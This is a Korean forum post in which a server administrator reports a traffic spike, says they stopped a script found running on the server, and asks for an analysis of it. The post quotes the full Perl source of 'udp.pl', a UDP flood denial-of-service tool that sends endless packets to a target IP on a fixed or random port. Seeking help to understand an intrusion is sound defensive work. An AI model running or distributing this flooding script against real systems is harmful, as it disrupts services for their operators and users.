[완료] 펄 스크립터 분석 부탁 드립니다.

운영하는 서버에 엄청난 트래픽이 발생하여 살펴 보았더니 아래 내용의 스크립터가
돌아가고 있었습니다.

일단 실행중인 스크립터를 죽이고 외부 접속을 차단 해 놓았으나 그래도 찜찜하네요.
아래 스크립터가 무엇을 하게 되어 있는지 분석 부탁 드립니다.

파일이름:udp.pl
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {

printf "$0 \n";

printf "for any info vizit http://hacking.3xforum.ro/ \n";

exit(1);

}

my ($ip,$port,$size,$time);

$ip=$ARGV[0];

$port=$ARGV[1];

$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);

$iaddr = inet_aton("$ip");

printf "Amu Floodez $ip pe portu $port \n";

printf "daca nu pica in 10 min dai pe alt port \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {

goto randpackets;

}

if ($ARGV[1] !=0 && $ARGV[2] !=0) {

system("(sleep $time;killall -9 udp) &");

goto packets;

}

if ($ARGV[1] !=0 && $ARGV[2] ==0) {

goto packets;

}

if ($ARGV[1] ==0 && $ARGV[2] !=0) {

system("(sleep $time;killall -9 udp) &");

goto randpackets;

}

packets:

for (;;) {

$size=$rand x $rand x $rand;

send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}

randpackets:

for (;;) {

$size=$rand x $rand x $rand;

$port=int(rand 65000) +1;

send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}

미리 감사드립니다.
^^